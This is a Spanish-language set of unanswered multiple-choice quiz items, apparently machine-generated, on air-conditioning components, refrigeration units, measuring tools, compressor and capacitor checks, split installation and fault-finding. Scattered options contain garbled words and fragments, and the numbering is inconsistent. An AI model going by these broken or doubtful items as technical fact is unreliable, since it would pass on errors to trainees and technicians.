### En referencia al componente "Condensador", cuál de las siguientes opciones es exactamente lo que describe su funcionamiento en el texto:
- [ ] El condensador es una parte del sistema de aire acondicionado diseñada para disipar calor a través de un cable eléctrico.
- [ ] El condensador se enfría mediante el vaporization de un refrigerante especial adecuadamente.
- [ ] El condensador es una serpentina de caño montada sobre disipadores de calor que extrae el calor para refrigerar la parte del equipo acondicionado que está afuera y es refrigerado por aire forzado.
- [ ] El condensador es responsable de aumentar la presión del fluido refrigerante en el circuito de aire acondicionado.
### Según el texto, el "Capilar" es un caño de diámetro muy pequeño cuyo diámetro y largo dependen de qué factor:
- [ ] La resistencia térmica del refrigerante utilizado.
- [ ] El tamaño y la potencia del equipo de aire acondicionado.
- [ ] Las especificaciones del fabricante del equipo y el tipo de refrigerante utilizado (R22 o R410).
- [ ] La cantidad de aire fresco que se necesita en la habitación.
### El componente "Evaporador" es descrito en el texto como:
- [ ] Un dispositivo que utiliza una fuente de calor externa para levantar el aire refrigerado dentro de la habitación.
- [ ] Una serpentina de caño con disipadores de calor que renueva y refriega el aire en el sistema de aire acondicionado.
- [ ] Un aparato que extrae humedad del aire y la limpia para proteger la salud de los usuarios.
- [ ] Un componente que, con la ayuda de un compresor y una turbina, renueva y refistration el aire dentro del sistema de aire acondicionado y lo inyecta en la habitación para enfriarla.
### 1. Los cuatro componentes del sistema de refrigeración mencionados en el texto son:
- [ ] Compresor, condensador, evaporador y capilar.
- [ ] Motor, generador, transformador y capilar.
- [ ] Motor, compensador, evaporador y capacitor.
- [ ] Compresor, combustor, evaporador y cable.
### 2. ¿Qué ocurre con la presión del refrigerante cuando el equipo está parado?
- [ ] La presión del refrigerante es diferente en los componentes.
- [ ] La presión del refrigerante es igual en todos los puntos de los componentes.
- [ ] No hay diferencia de presión entre los componentes.
- [ ] La presión del refrigerante está fuera de control.
### 3. Cuando se pone en funcionamiento el compresor, qué ocurre con el refrigerante?
- [ ] El compresor se enfria al sistema.
- [ ] Se aspira el refrigerante desde el evaporador al condensador.
- [ ] El compresor sufre una descompresión en el capilar.
- [ ] La presión del refrigerante disminuye en todos los componentes.
### 4. Descripción del proceso de cambio de estado del refrigerante en el condensador:
- [ ] El refrigerante se transforma del estado sólido al líquido.
- [ ] El refrigerante se transforma del estado líquido al gaseoso.
- [ ] El refrigerante se transforma del estado gaseoso al líquido.
- [ ] El refrigerante se transforma del estado gaseoso al sólido.
### 5. El líquido refrigerante en el condensador se enfría por:
- [ ] Calor del aire circulante.
- [ ] Compresión del compresor.
- [ ] Descompresión en el capilar.
- [ ] Transmisión de calor al medio ambiente.
### 6. La función del capilar en el sistema de refrigeración es:
- [ ] Comprimir el refrigerante.
- [ ] Asegurar la correcta distribución de refrigerante en el sistema.
- [ ] Descomprimir el refrigerante y bajar su temperatura.
- [ ] Calentar el refrigerante a una temperatura adecuada.
### 7. En el evaporador, el líquido refrigerante toma calor de:
- [ ] El compresor.
- [ ] La compresión.
- [ ] El medio ambiente.
- [ ] El aire circulante.
### 8. La máquina de refrigeración mediante compresión es:
- [ ] Una máquina de transferir calor de un ambiente cerrado a otro abierto.
- [ ] Una máquina de enfriar solo el aire en el ambiente.
- [ ] Una máquina para mantener la temperatura constante en todo el sistema.
- [ ] Una máquina que solea el ambiente en invierno.
### 1. ¿Qué significa la frase "Calor: Es una fuente de energía que se trasmite siempre de MAYOR a Menor temperatura y NUNCA lo contrario"?
- [ ] El calor no importa en la energía
- [ ] El calor se transmite de menor a mayor temperatura
- [ ] El calor siempre se transmite de mayor a menor temperatura
- [ ] No hay conexión entre temperatura y energía
### 2. ¿Qué es la temperatura en términos de la cantidad de calor en un lugar?
- [ ] La cantidad de frio en un lugar
- [ ] La unidad de medida que indica la cantidad de calor en un lugar
- [ ] La escala utilizada para medir el calor
- [ ] La escala utilizada para medir el frio
### 3. ¿Cuál es el tipo de termómetro más comúnmente utilizado?
- [ ] Mercurio
- [ ] Laser
- [ ] Digital
- [ ] Infrarrojo
### 4. ¿Cuál es la escala termométrica utilizada en nuestro país y sus puntos de congelamiento y ebullición del agua?
- [ ] Fahrenheit - 32 °F y 212 °F
- [ ] Centígrados - 0 °C y 100 °C
- [ ] Kelvin - 273 °K y 373 °K
- [ ] Réaumur - 0 °Ré y 80 °Ré
### 5. ¿Qué significa frio en términos de refrigeración?
- [ ] Es un nivel específico de temperatura
- [ ] Es el nivel más bajo de calor en un entorno
- [ ] La ausencia de calor, la falta de transmisión de calor a un entorno
- [ ] Un proceso de enfriamiento en un entorno
### 6. ¿Cuáles son los dos tipos de calorías mencionados en el texto?
- [ ] Micro y macro calorías
- [ ] Chica y macro calorías
- [ ] Chica y kilocalorías/horas
- [ ] Chica, macro y kilocalorías
### 7. ¿Cuál es la definición de una Kilocaloría en términos de refrigeración?
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que aumente 1 grado Fahrenheit
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que aumente 1 grado centígrado
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que aumente 1 grado Réaumur
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que aumente 1 kilocaloría
### 8. ¿Cuál es la definición de frigorías en términos de refrigeración?
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que aumente 1 grado centígrado
- [ ] La cantidad de calor que hay que sacarle a 1 litro de agua para que descienda 1 grado centígrado
- [ ] La cantidad de calor que hay que sacarle a 1 litro de agua para que aumente 1 grado centígrado
- [ ] La cantidad de calor que hay que agregarle a 1 litro de agua para que descienda 1 grado centígrado
### 9. ¿Cuál significa la unidad de medida en calorías por hora en un equipo de refrigeración?
- [ ] La cantidad de calor que se extrae de un ambiente por hora
- [ ] La cantidad de calor que se añade a un ambiente por hora
- [ ] La cantidad de calor que se transfiere entre ambientes por hora
- [ ] La tasa de eficiencia del equipo de refrigeración por hora
### 10. ¿Cuál significa la unidad de medida en frigorías por hora en un equipo de refrigeración?
- [ ] La cantidad de calor que se añade a un ambiente por hora
- [ ] La cantidad de calor que se extrae de un ambiente por hora
- [ ] La cantidad de calor que se transfiere entre ambientes por hora
- [ ] La tasa de eficiencia del equipo de refrigeración por hora
### 1. Cuántos BTU equivalen a 3000 frigorías:
- [ ] 7000 BTU
- [ ] 8000 BTU
- [ ] 9000 BTU
- [ ] 10000 BTU
### 2. ¿Cuántos frigorías equivale aproximadamente a 1 kW (1000 vatios)?
- [ ] 600 frigorías
- [ ] 700 frigorías
- [ ] 800 frigorías
- [ ] 900 frigorías
### 3. ¿Cuál es el valor del constante utilizado para convertir Watts a frigorías?
- [ ] 0,72
- [ ] 0,82
- [ ] 0,86
- [ ] 0,95
### 4. Un sistema de aire acondicionado para el hogar opera a una capacidad de entre:
- [ ] 1.000 y 1.500 frigorías
- [ ] 2.000 y 4.000 frigorías
- [ ] 2.000 y 6.000 frigorías
- [ ] 4.000 y 8.000 frigorías
### 1. ¿Cuál es el objetivo principal del balance térmico?
- [ ] Calcular la cantidad de personas en un recinto.
- [ ] Calcular la cantidad de frigorías necesarias para un recinto.
- [ ] Medir la altura de un recinto.
- [ ] Estimar la cantidad de calorías producidas por aparatos electrónicos.
### 2. ¿Cuál es la forma más exacta de realizar un balance térmico?
- [ ] Utilizar un programa de computación que solicita datos específicos sobre el recinto.
- [ ] Realizar un cálculo rápido basado en el criterio del técnico.
- [ ] Medir la temperatura en el recinto.
- [ ] Comparar la temperatura ambiente externa con la interna.
### 3. Para realizar un cálculo térmico rápido, se multiplica la superficie de la habitación por una constante. ¿Cuál es esa constante?
- [ ] 100
- [ ] 200
- [ ] 400
- [ ] 500
### 4. Una persona genera aproximadamente ... calorías en un recinto.
- [ ] 50
- [ ] 60
- [ ] 70
- [ ] 80
### 5. ¿Cuál es el criterio que entra en juego en el cálculo rápido de balance térmico?
- [ ] Altura del recinto
- [ ] Tipo de objetos que hay en el recinto
- [ ] Experiencia y criterio del técnico
- [ ] Material de construcción del recinto
### Cuándo se supera la altura normal de 2,6 metros en un recinto, el cálculo se realiza tomando por referencia:
- [ ] Lado x Lado x Altura
- [ ] Lado x Lado x 60
- [ ] Altura x Altura x Alto (parte más alta del techo)
- [ ] Altura x Lado x Lado
### Si un recinto tiene una altura superior a 2,6 metros, ¿cómo se toma en cuenta la cantidad de personas que hay en la habitación?
- [ ] Multiplicando la altura por el número de personas
- [ ] Sumando el número de personas al total de frigorías calculadas
- [ ] Agregando el número de personas a la constante utilizada en el cálculo
- [ ] Totales no aplicables, ya que este caso no se considera en el cálculo rápido.
### ¿Cuál es la función principal de un manómetro?
- [ ] Medir la temperatura.
- [ ] Comparar la presión atmosférica con la presión del fluido en un circuito.
- [ ] Medir la velocidad del fluido en un sistema.
- [ ] Calcular la fuerza aplicada en una superficie.
### ¿Cuál es la unidad utilizada en el Sistema Internacional de unidades para medir presión?
- [ ] Torr
- [ ] Pascal (Pa)
- [ ] mm de Hg
- [ ] ATM
### ¿Qué representa la presión manométrica?
- [ ] La presión absoluta.
- [ ] La presión relativa a la presión atmosférica.
- [ ] La presión diferencial.
- [ ] La fuerza por unidad de superficie aplicada perpendicularmente.
### En la industria, ¿dónde es común encontrar el uso de manómetros de presión?
- [ ] En los sistemas de calefacción y aire acondicionado.
- [ ] En el control de la presión de neumáticos de un automóvil.
- [ ] En la vigilancia de la presión de varios sistemas dentro de una planta de energía nuclear.
- [ ] Todas las anteriores.
### ¿Cómo se relaciona la precisión del manómetro con su precio?
- [ ] La precisión aumenta a medida que el precio del manómetro disminuye.
- [ ] La precisión disminuye a medida que el precio del manómetro aumenta.
- [ ] No hay relación entre la precisión del manómetro y su precio.
- [ ] Ambos factores pueden ser independientes entre sí.
### 1. ¿Qué es y para qué sirve el Vacuómetro?
- [ ] Es un medidor de temperatura.
- [ ] Mide la presión de vacío y se usa en receptores de bombas de aire y condensadores de vapor.
- [ ] Es un calentador de aceite.
- [ ] Mide el nivel de humedad en el aire.
### 2. ¿Cuál es la escala de medición mostrada en el vacuómetro industrial?
- [ ] Celsius y Fahrenheit.
- [ ] Pulgadas de mercurio y kPa.
- [ ] Grados Kelvin y Atmosferas.
- [ ] Pies y Metro.
### 3. ¿Qué es el manovacuómetro y qué funciones cumple?
- [ ] Es un controlador de fluidos que se encarga de medir sólo la presión de vacío.
- [ ] Combina las funciones de un manómetro y un vacuómetro, y además de medir la presión relativa, también mide la presión de vacío.
- [ ] Es un conmutador eléctrico utilizado en la medida de presión.
- [ ] Mide la humedad en un ambiente controlado.
### ¿Cómo se muestra la presión de vacío en el manómetro?
- [ ] Como presión positiva cuando es más alta que la presión ambiental.
- [ ] En el mismo nivel que la presión atmosférica.
- [ ] Como presión negativa cuando es más baja que la presión atmosférica.
- [ ] No se muestra en el manómetro.
### En el manovacuómetro, se pueden ver las mediciones de:
- [ ] Presión relativa y temperatura ambiente.
- [ ] Presión absoluta y presión de vacío.
- [ ] Presión atmosférica y humedad relativa.
- [ ] Presión dinámica y estática.
### ¿Cuál de estos componentes no está incluido en una pinza amperimétrica?
- [ ] Mordaza con detección de corriente
- [ ] Barreras táctiles
- [ ] Selector
- [ ] Botón de retroiluminación
### ¿Cuál es el propósito principal de un botón de corriente de entrada en una pinza amperimétrica?
- [ ] Elimina la compensación de CC de las mediciones de corriente CC
- [ ] Selecciona el modo de medición de corriente
- [ ] Inicia la medición de corriente
- [ ] Guarda la última lectura en memoria
### ¿Cuál es el propósito del botón Mín.-Máx. en una pinza amperimétrica?
- [ ] Congela la lectura de la pantalla
- [ ] Cambia entre el modo de medición de corriente, tensión y frecuencia
- [ ] Sirve como protección adicional contra descargas eléctricas
- [ ] Libera la lectura almacenada
### ¿Cuál de los siguientes componentes de una pinza amperimétrica no se menciona como un sensor adicional en la descripción inicial?
- [ ] Sensor de temperatura
- [ ] Sensor de presión
- [ ] Sensor de vibración
- [ ] Sensor de humedad
### ¿Cuál es el propósito de las marcas de alineación en una pinza amperimétrica?
- [ ] Alinear la sonda antes de realizar una medida
- [ ] Ayudar a centrar la pantalla
- [ ] Alinear el conductor con las marcas para cumplir con las especificaciones de precisión
- [ ] Establecer la intensidad de corriente en una medida
### ¿Por qué razones las pinzas amperimétricas se han convertido en herramientas populares?
- [ ] Comodidad
- [ ] Seguridad
- [ ] Velocidad
- [ ] Durabilidad
### 2. ¿Por qué los multímetros digitales no son preferibles para medir niveles altos de corriente?
- [ ] No tienen un alcance de corriente amplio
- [ ] Pueden dañarse al medir más de 10 A de corriente
- [ ] No son precisos en la medición
- [ ] Son costosos
### 3. ¿Cuál es el rango de corriente mínimo que ofrecen las pinzas amperimétricas?
- [ ] 10 A
- [ ] 0 A
- [ ] 100 A
- [ ] 600 A
### 4. ¿En qué sistemas se utilizan las pinzas amperimétricas?
- [ ] Sistemas deConditionalado de aire comercial/industrial
- [ ] Equipos y controles industriales
- [ ] Sistemas eléctricos residenciales/comerciales/industriales
- [ ] Todos los sistemas mencionados
### 5. ¿Para qué fundamentalmente se utilizan las pinzas amperimétricas?
- [ ] Para realizar pruebas de circuitos finales y supervisar a electricistas principiantes
- [ ] Para reparar sistemas existentes según sea necesario
- [ ] Para realizar mantenimiento preventivo y programado
- [ ] Todos los usos mencionados
### 1. ¿Cuáles son los tres tipos de pinzas amperimétricas mencionados en el texto?
- [ ] Pinzas amperimétricas con transformador de corriente, pinzas amperimétricas de efecto Hall y pinzas amperimétricas flexibles.
- [ ] Pinzas amperimétricas de efecto Hall, pinzas amperimétricas con transformador de corriente y pinzas amperimétricas de efecto piezoeléctrico.
- [ ] Pinzas amperimétricas de efecto piezoeléctrico, pinzas amperimétricas flexibles y pinzas amperimétricas de efecto Hall.
- [ ] Pinzas amperimétricas flexibles, pinzas amperimétricas de efecto Hall y pinzas amperimétricas con transformador de corriente.
### 2. ¿Para qué sirve una pinza anemométrica en el ámbito de la refrigeración?
- [ ] Para medir la velocidad del aire en un sistema de refrigeración.
- [ ] Para medir el consumo de potencia de los equipos de refrigeración.
- [ ] Para medir la temperatura ambiente en un espacio refrigerado.
- [ ] Para medir la humedad en el aire de un ambiente refrigerado.
### 3. ¿Qué herramientas hay que seleccionar según el consumo mínimo del equipo al utilizar una pinza amperimétrica?
- [ ] Una pinza analógica.
- [ ] Una pinza digital.
- [ ] La escala mínima superior al consumo del equipo.
- [ ] La escala mínima inferior al consumo del equipo.
### 4. ¿Cuál es una de las funciones de las pinzas amperimétricas en el control del estado eléctrico del motocompresor?
- [ ] Medir la corriente eléctrica en tiempo real.
- [ ] Calcular la potencia del motocompresor.
- [ ] Verificar el estado eléctrico del motocompresor y controlar si hay conductos abiertos.
- [ ] Establecer la relación entre el voltaje y la corriente en el motocompresor.
### 1. ¿Cuál es el nombre del refrigerante más liviano y se debe invertir la garrafa para cargarlo?
- [ ] R410 Eco
- [ ] R 22 Puro
- [ ] Refrigerante A
- [ ] Refrigerante B
### 2. ¿Cuál es el elemento propulsor de la unidad condensadora y unidad exterior?
- [ ] Bobinado o estator
- [ ] Motor eléctrico
- [ ] Bomba de calor
- [ ] Compresor
### 3. ¿Cuál es la función de la bobina de arranque en el elemento propulsor?
- [ ] Le da la fuerza al motor y le da el sentido de giro
- [ ] Trabaja de manera constante durante el funcionamiento
- [ ] Solo funciona cuando se inicia el arranque
- [ ] Es la responsable de cambiar la marcha del motor
### 4. ¿Cómo está aislado el alambre del bobinado en el elemento propulsor?
- [ ] No está aislado
- [ ] Con un barniz especial para 180 grados
- [ ] Con aislamiento de plástico
- [ ] Con aislamiento de porcelana
### 1. ¿Cuál es la principal función de la bobina de arranque?
- [ ] Dejar de funcionar después de arrancar
- [ ] Funcionar con alambre más grueso
- [ ] Ayudar a iniciar la carga del compresor
- [ ] Mantener la corriente constante durante el funcionamiento
### 2. ¿Cuál es la diferencia entre la bobina de arranque y la bobina de trabajo?
- [ ] El tamaño del alambre y el tipo de funcionamiento
- [ ] Su resistencia y el impacto en el funcionamiento del compresor
- [ ] La ubicación de las bobinas en el compresor
- [ ] La temporalidad de su uso en el compresor
### 3. ¿Cuál es la consecuencia de tener un compresor con una mala conexión entre sus bornes?
- [ ] El compresor funcionará más eficientemente
- [ ] Marcará una resistencia adecuada entre los bornes
- [ ] No se producirá ninguna diferencia en el funcionamiento
- [ ] El compresor podrá marcar un valor de resistencia entre 9,5 y 9 Ohm Ω
### 4. ¿Cuál es el valor normal de resistencia entre los bornes de un compresor en buen estado?
- [ ] 0,5 Ohm
- [ ] 9 Ohm
- [ ] 9,5 Ohm
- [ ] 12 Ohm
### 5. En este contexto, qué letra representa el arranque en una escala de medida:
- [ ] A
- [ ] R
- [ ] C
- [ ] S
### 1. ¿Cuál es el significado de que un multimetro (tester) no marque nada o no reacciona al probar un compresor?
- [ ] El compresor está funcionando correctamente
- [ ] La resistencia es igual a 0 Ohm
- [ ] Una bobina del compresor está abierta y debes reemplazar el compresor
- [ ] El compresor está aterrizado
### 2. ¿Cuál es el valor de resistencia cuando un compresor está aterrizado?
- [ ] 9,5 Ohm
- [ ] 0,5 Ohm
- [ ] 0 Ohm
- [ ] 9 Ohm
### 3. Para identificar los bornes del compresor, ¿a qué se debe recurrir si no hay indicios en la tapa de plástico?
- [ ] Tomar la resistencia más baja
- [ ] Medir la distancia entre los conectores
- [ ] Dibujar los bornes y anotar los dos resultados
- [ ] ggerir el compresor
### 1. In which category do the following sentences belong to:
- [ ] Los capacitores de marcha son dispositivos reconocidos en el mundo de la refrigeración como capacitores permantes.
- [ ] En los diagrama de los equipos podemos encontrar este tipo de capacitor con el nombre en inglés como (RUN)
- [ ] Los capacitores de marcha o trabajo vienen diseñados con mucho menos microfaradios que los de arranque.
- [ ] En casos como en aire acondicionado mini split viene diseñados con dos valores de microfaradios.
### 2. En la frase "Los capacitores de marcha son dispositivos reconocidos en el mundo de la refrigeración como capacitores permantes.", que palabra describe el tipo de capacitor mencionado?
- [ ] Capacitor permantes
- [ ] Capacitor de marcha
- [ ] Capacitor de arranque
- [ ] Capacitor temporizador
### 6. La frase "En este caso la gran cantidad de capacitores de marcha por lo general son de color, blanco, gris claro o blando" indica que el color es un factor para identificar un capacitor de marcha, ¿cuál sería la opción correcta para afirmar esto?
- [ ] El color es un factor para identificar un capacitor de marcha
- [ ] El color no es un factor para identificar un capacitor de marcha
- [ ] No se puede fiar del color para identificar un capacitor de marcha
- [ ] Todos los capacitores de marcha son de color blanco, gris claro o blando
### 6. a) El color es un factor para identificar un capacitor de marcha
- [ ] Escribi
### 1. ¿Cuál es otro nombre para el capacitor de arranque?
- [ ] Capacitor seco
- [ ] Capacitor electrónico
- [ ] Capacitor polimérico
- [ ] Capacitor de baja tensión
### 2. Cuánto tiempo puede permanecer el capacitor de arranque en el circuito?
- [ ] Hasta 5 segundos
- [ ] Hasta 3 segundos
- [ ] Hasta 2 segundos
- [ ] Hasta 1 segundo
### 3. ¿Cuál dispositivo se utiliza junto con el capacitor de arranque para desconectarlo del circuito?
- [ ] Rele amperímetrico
- [ ] Rele de potencia
- [ ] Rele asdaf
- [ ] Rele de seguridad
### 4. ¿Cuál es el rango de microfaradios en los capacitores de arranque?
- [ ] 50-100 microfaradios
- [ ] 150-250 microfaradios
- [ ] 308-350 microfaradios
- [ ] 108-350 microfaradios
### 5. ¿Cuál es la forma física más común de un capacitor de arranque?
- [ ] Disco circular
- [ ] Cilindro de plástico
- [ ] cubo de metal
- [ ] Tubo alargado
### 6. ¿Para qué sirve la resistencia eléctrica en algunos capacitores de arranque?
- [ ] Aumentar la capacidad del capacitor
- [ ] Almacenar electricidad de manera más eficiente
- [ ] Descargar el capacitor de arranque
- [ ] Probar la calidad del capacitor
### 1. El precio de la instalación de un split se divide en mano de obra y material. ¿Está incluida la instalación eléctrica en el costo total?
- [ ] Sí
- [ ] No
- [ ] Depende del cliente
### 2. El evaporador debe tener una separación con el techo de:
- [ ] 5 cm
- [ ] 10 cm
- [ ] 20 cm
### 3. La chapa soporte se debe colocar a:
- [ ] Arriba del evaporador
- [ ] A nivel
- [ ] Abajo del evaporador
### 4. El radio de la mecha copa es de:
- [ ] 2 cm
- [ ] 3,5 cm
- [ ] 5 cm
### 5. La inclinación de la mecha de vidria durante la perforación es hacia:
- [ ] Arriba
- [ ] Abajo
- [ ] Lateralmente
### 6. ¿Para qué sirve la perforación guia utilizando la mecha copa?
- [ ] Para verificar vigas en el camino
- [ ] Para realizar la perforación limpia
- [ ] Para conectar los caños
### 7. En el lado derecho del evaporador, debajo de la tapa pequeña, se encuentran las conexiones:
- [ ] Del evaporador
- [ ] De la unidad condensadora
- [ ] De la chapa soporte
### 8. El orden numérico y los colores de las conexiones deben ser similares en el evaporador y la unidad condensadora. ¿Cuántas conexiones deben haber si el equipo es frío/calor?
- [ ] 3
- [ ] 4
- [ ] 5
### 9. Durante el montaje del evaporador, la prioridad al pasar el cable y el desague es:
- [ ] Que el desague quede debajo de los cables de alimentación
- [ ] Que los cables de alimentación queden estrangulados
- [ ] Que ambos componentes tengan la misma prioridad
### 10. Las men talas se colocan en la parte exterior de la habitación a refrigerar.
- [ ] Verdadero
- [ ] Falso
### 11. ¿Cuántos metros de caño son mínimos para la unidad condensadora si se utiliza R22?
- [ ] 1 metro
- [ ] 2 metros
- [ ] 3 metros
### 12. ¿Cuántos metros de caño son mínimos para la unidad condensadora si se utiliza R410?
- [ ] 3 metros
- [ ] 4 metros
- [ ] 7 metros
### 13. El vacío se realiza con un manómetro y debe llevar como mínimo:
- [ ] 15 minutos
- [ ] 20 minutos
- [ ] 30 minutos
### 1. ¿Para qué sirve la trampa de aceite en un sistema de aire acondicionado?
- [ ] Para mantener la unidad exterior fría
- [ ] Para evitar que el aceite se acumule en la unidad interior
- [ ] Para reciclar el refrigerante
- [ ] Para aumentar la capacidad de enfriamiento
### 2. ¿Cuál es el propósito del aceite en el compresor de un sistema de aire acondicionado?
- [ ] Fomentar la evaporación del refrigerante
- [ ] Aumentar la capacidad de enfriamiento
- [ ] Proporcionar lubricación para el adecuado funcionamiento del compresor
- [ ] Mejorar la transferencia de calor
### 3. ¿Cuándo es necesario instalar una trampa de aceite en una instalación de aire acondicionado?
- [ ] Si la unidad condensadora está a nivel inferior a la evaporadora
- [ ] Si la distancia entre la unidad condensadora y la evaporadora es superior a 3 metros
- [ ] Si la distancia entre la unidad condensadora y la evaporadora es de 8 metros
- [ ] Si la diferencia de altura entre la unidad condensadora y la evaporadora es superior a 2.5 metros
### 4. ¿Qué efecto se produce al mezclar aceite y refrigerante en el sistema de aire acondicionado?
- [ ] La eficiencia del sistema disminuye
- [ ] El refrigerante se evapora más rápido
- [ ] La mezcla se separa fácilmente mediante la gravedad
- [ ] La mezcla no causa efectos negativos en el sistema
### 5. ¿Cuál es la razón de instalar una trampa de aceite en la salida del evaporador cuando este se encuentra en una posición inferior a la condensadora?
- [ ] Para mantener la unidad condensadora seca
- [ ] Para evitar que el gas refrigerante se acumule en la unidad condensadora
- [ ] Para permitir que el aceite regrese por gravedad a la unidad condensadora
- [ ] Para mantener la unidad evaporadora siempre enothermal
### 6. ¿Cuál es el beneficio de instalar una trampa de aceite en un tubo vertical en lugar de una curva horizontal "S"?
- [ ] Reducir la pérdida de carga del sistema
- [ ] Aumentar la eficiencia energética del acondicionador de aire
- [ ] Optimizar el espacio en la instalación
- [ ] Evitar que el aceite se mescle con el refrigerante
### 1. ¿Cuál es la razón más común por la que un forzador de la Unidad condensadora no enciende?
- [ ] Capacitor del forzador dañado.
- [ ] Motor del forzador quemado.
### 2. Si el Motocompresor intenta arrancar pero no puede, ¿qué es lo primero que debemos hacer?
- [ ] Remplazar capacitor
- [ ] Remplazar forzador
### 3. Si el Motocompresor no arranca y no hace ningún ruido, ¿cuáles son las posibles razones? (Selecciona todas las opciones correctas)
- [ ] Protección térmico quemado.
- [ ] Motocompresor quemado.
- [ ] Cableado quemado o defectuoso.
- [ ] Sensor de temperatura ambiental dañado.
### 4. Para abordar cada uno de los problemas de Motocompresor que se mencionan en la pregunta 3, ¿qué acciones se deben tomar? (Selecciona la opción correcta)
- [ ] Reemplazo del protector térmico (si es externo).
- [ ] Cambio de motocompresor.
- [ ] Cambio de cableado.
- [ ] Cambio de sensor de temperatura ambiente.
### 1. ¿Cuáles son las medidas de precaución que debemos tomar antes de realizar una revisión exhausta en nuestro aire acondicionado?
- [ ] Usar un paño mojado para limpiar las unidades.
- [ ] Desconectar y desenchufar el equipo.
- [ ] Mojar la unidad interior y exterior.
- [ ] Utilizar un trapo húmedo para la limpieza.
### 2. ¿Cuál es la razón principal para realiza una revisión en un aire acondionado?
- [ ] Limpiar las unidades.
- [ ] Mantener el aire acondicionado en buenas condiciones.
- [ ] Lavar el equipo.
- [ ] Reemplazar componentes.
### 3. ¿Cuál es el problema más común en un aire acondicionado?
- [ ] Fallo en el compresor.
- [ ] El equipo no enfría.
- [ ] Baja tensión o tensión incorrecta.
- [ ] Diseño inadecuado de tubería.
### 4. ¿Qué debemos revisar si creemos que el aire acondicionado no enfría correctamente?
- [ ] Ventanas y puertas.
- [ ] Filtros de higiene.
- [ ] Goteo de agua.
- [ ] Sensor de termostato.
### 5. ¿Qué tipo de problema se presenta cuando el compresor no calienta en un aire acondicionado?
- [ ] El aire no es verde.
- [ ] El equipo deja de enfriar.
- [ ] Elmpero no funciona correctamente.
- [ ] El aire no llega a la habitación.
### 1. El problema es que el equipo de aire acondicionado está sin gas debido a una fuga o falta de recarga. ¿Cuál es la solución correcta?
- [ ] Cambiar el equipo de aire acondicionado
- [ ] Verificar si existe realmente la fuga y realizar una recarga de gas o simplemente una recarga si el problema no es la fuga
- [ ] Llamar a un técnico para reparar la fuga
- [ ] Desinstalar y reinstalar el equipo de aire acondicionado
### 2. El equipo de aire acondicionado produce ruido de flujo de agua durante la operación. ¿Cuál es la razón más común para este problema?
- [ ] Falta de mantenimiento adecuado
- [ ] El equipo tiene fallos internos
- [ ] Mala elección al comprar un modelo que no es silencioso
- [ ] Excesiva carga de trabajo en el equipo
### 3. Si el aire no se enfría y pensamos que el problema está relacionado con el compresor, ¿cuál es la primera acción recomendada para solucionarlo?
- [ ] Soldar cualquier fuga y recargar el equipo
- [ ] Cambiar el compresor
- [ ] Llamar a un técnico
- [ ] Comprobar si hay suficiente gas en el sistema
### 4. ¿Cuáles son las comprobaciones que deben realizarse cuando el equipo de aire acondicionado no se enciende?
- [ ] Revisar la conexión eléctrica, el funcionamiento del circuito de protección, el voltaje del aparato y la corriente
- [ ] Verificar la temperatura ambiente para asegurarse de que es adecuada para encender el equipo
- [ ] Comprobar si el botón de encendido está activado
- [ ] Verificar si el equipo necesita recargar gas
### 5. Si el compresor no arranca, ¿cuál de las siguientes razones podría ser una de las causas?
- [ ] El equipo no está enchufado correctamente
- [ ] El cable que alimenta el compresor está en mal estado
- [ ] El sensor de termostato es inexacto
- [ ] La válvula de expansión está mal configurada
### 6. Cuando se sospecha que las conexiones eléctricas son inadecuadas, ¿cuál es la acción recomendada?
- [ ] Intentar reparar las conexiones por cuenta propia
- [ ] Ignorar el problema y seguir usando el equipo
- [ ] Colocar un regulador de tensión para solucionar el problema
- [ ] Llamar a un técnico para que realice una instalación adecuada
### 7. Si se observa que el equipo de aire acondicionado no enfría correctamente, ¿cuál es la razón más común?
- [ ] Fuga de gas
- [ ] Falta de mantenimiento adecuado en los filtros
- [ ] Problemas con la cantidad de refrigerante en el sistema
- [ ] Negacionismo de las capacidades del equipo
### 8. En caso de un diseño inadecuado de tubería, ¿qué se debe verificar para solucionar el problema?
- [ ] La altura vertical de la tubería y asegurarse de que el refrigerante se subenfrie lo suficiente
- [ ] Reemplazar la tubería con uno de mejor calidad
- [ ] Incrementar la cantidad de refrigerante en el sistema
- [ ] Cambiar el equipo de aire acondicionado
### 9. Cuando el compresor está defectuoso, ¿cuál sería la acción recomendada si el problema es muy serio?
- [ ] Cambiar el equipo de aire acondicionado por uno nuevo
- [ ] Comprar un compresor de repuesto y cambiarlo por el defectuoso
- [ ] Verificar las resistencias de bobinas con especificaciones del fabricante y aislamiento en tierra
- [ ] Intentar reparar el compresor por cuenta propia sin conocimientos específicos
### ¿Cuál es el problema descrito en la pregunta 24?
- [ ] Un equipo de aire acondicionado no funciona.
- [ ] Acumulación excesiva de aceite en el evaporador.
- [ ] Falta de refrigerante.
- [ ] Problemas en la parte eléctrica del equipo.
- [ ] Conexiones eléctricas inadecuadas.
### 2. Para solucionar el problema de acumulación excesiva de aceite en el evaporador, debe modificarse:
- [ ] La tubería de succión.
- [ ] La tubería de devolución de aceite.
- [ ] La unidad de compresión.
- [ ] El purgado de aceite.
- [ ] La corriente eléctrica.
### 3. ¿Cuál es la recomendación para evitar que sucedan todos los problemas con equipos de aire acondicionado?
- [ ] Ignorar las averías y no realizar mantenimientos.
- [ ] Realizar un chequeo general.
- [ ] Desplegar un suministro de electricidad ilimitado.
- [ ] Mojar la unidad interior y exterior para su limpieza.
- [ ] Sólo enfocarse en la limpiaza del evaporador.
### Antes de iniciar cualquier tipo de revisión en un equipo de aire acondicionado, es indispensable:
- [ ] Mojar la unidad interior y exterior.
- [ ] Limpiar las unidades sin cortar el suministro de electricidad.
- [ ] Tomar medidas de precaución como cortar el suministro de electricidad y seguir instrucciones de limpieza.
- [ ] Ignorar las medidas de seguridad y comenzar a revisar.
- [ ] Realizar una limpieza en presencia de lluvia.
### 5. ¿Cuál de las siguientes fallas en equipos de aire acondicionado se relaciona con conexiones eléctricas inadecuadas?
- [ ] Acumulación excesiva de aceite en el evaporador.
- [ ] Conexiones eléctricas inadecuadas.
- [ ] Falta de refrigerante.
- [ ] Problemas en la parte mecánica del equipo.
- [ ] Sobrecalentamiento del compresor.
- [ ] Falla en el Compresor
- [ ] Verificar presiones manométricas de alta y baja del sistema.
- [ ] Recuperar el exceso de gas en un cilindro hasta alcanzar las lecturas de presiones aceptables.
